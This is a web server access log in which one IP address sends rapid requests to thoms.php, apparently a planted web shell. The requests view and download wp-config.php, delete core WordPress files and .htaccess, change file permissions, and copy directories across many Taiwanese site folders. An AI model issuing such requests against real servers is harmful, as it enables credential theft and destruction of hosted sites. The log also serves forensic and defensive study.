45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wp-content HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:07 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17707 "https://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17698 "https://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=upgrade HTTP/1.1" 200 11306 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=cgi-bin HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:09 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17798 "https://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 17327 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?del=error_log&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?del=error_log&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?del=readme.html&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /bfl.com.tw/wp-links-opml.php HTTP/1.1" 200 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /bfl.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-settings.php HTTP/1.1" 200 19472 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11799 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?chmod=upgrade&p=bfl.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?chmod=readme.html&p=bfl.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?p=bfl.com.tw&view=thoms.php HTTP/1.1" 200 11814 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 17327 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /thoms.php?dl=wp-config.php&p=bfl.com.tw HTTP/1.1" 200 17327 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:11 -0400] "GET /bfl.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11781 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /bfl.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /bfl.com.tw/.well-known/ HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?dl=wp-cron.php&p=bfl.com.tw HTTP/1.1" 200 17223 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?del=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?chmod=cgi-bin&p=bfl.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?del=wp-includes&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /bfl.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?del=.htaccess&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-cron.php HTTP/1.1" 200 14183 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bfl.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:12 -0400] "GET /thoms.php?del=.well-known&p=bfl.com.tw HTTP/1.1" 200 17319 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?del=wp-config.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?del=wp-signup.php&p=bfl.com.tw HTTP/1.1" 200 17298 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed&p= HTTP/1.1" 200 11792 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?dl=readme.html&p=bfl.com.tw HTTP/1.1" 200 17326 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /bfl.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?del=thoms.php&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /bfl.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /bfl.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?chmod=legacy-checkpoint&p=bfl.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=legacy-checkpoint&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?del=queue-failed&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?del=queue-failed&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p= HTTP/1.1" 200 11790 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=index.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /bfl.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:13 -0400] "GET /thoms.php?p=bfl.com.tw&view=license.txt HTTP/1.1" 200 20072 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /bfl.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /bfl.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?del=wp-activate.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-config.php HTTP/1.1" 200 13723 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?chmod=wp-load.php&p=bfl.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?chmod=wp-config.php&p=bfl.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?del=cgi-bin&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
